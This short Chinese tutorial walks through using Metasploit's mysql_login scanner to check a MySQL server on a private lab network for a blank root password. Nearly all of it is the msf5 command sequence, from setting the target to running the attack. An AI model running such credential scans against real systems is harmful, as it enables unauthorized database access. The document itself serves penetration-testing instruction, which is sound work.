metasploit扫描mysql空密码

靶机IP 192.168.255.100

攻击机IP 192.168.255.200

流程开始

查找mysql登录模块

?

1	msf5 > search mysql_login

 

 加载这个模块

?

1 2	msf5 > use auxiliary/scanner/mysql/mysql_login msf5 auxiliary(scanner/mysql/mysql_login) >

查看需要设置的参数

?

1	msf5 auxiliary(scanner/mysql/mysql_login) > show options

 

 

 设置目标主机

?

1 2	msf5 auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.255.100 RHOSTS => 192.168.255.100

设置mysql账号参数

 

?

1 2	msf5 auxiliary(scanner/mysql/mysql_login) > set USERNAME root USERNAME => root

设置允许测试所有用户空密码

?

1 2	msf5 auxiliary(scanner/mysql/mysql_login) > set BLANK_PASSWORDS true BLANK_PASSWORDS => true

开始攻击

?

1	msf5 auxiliary(scanner/mysql/mysql_login) > exploit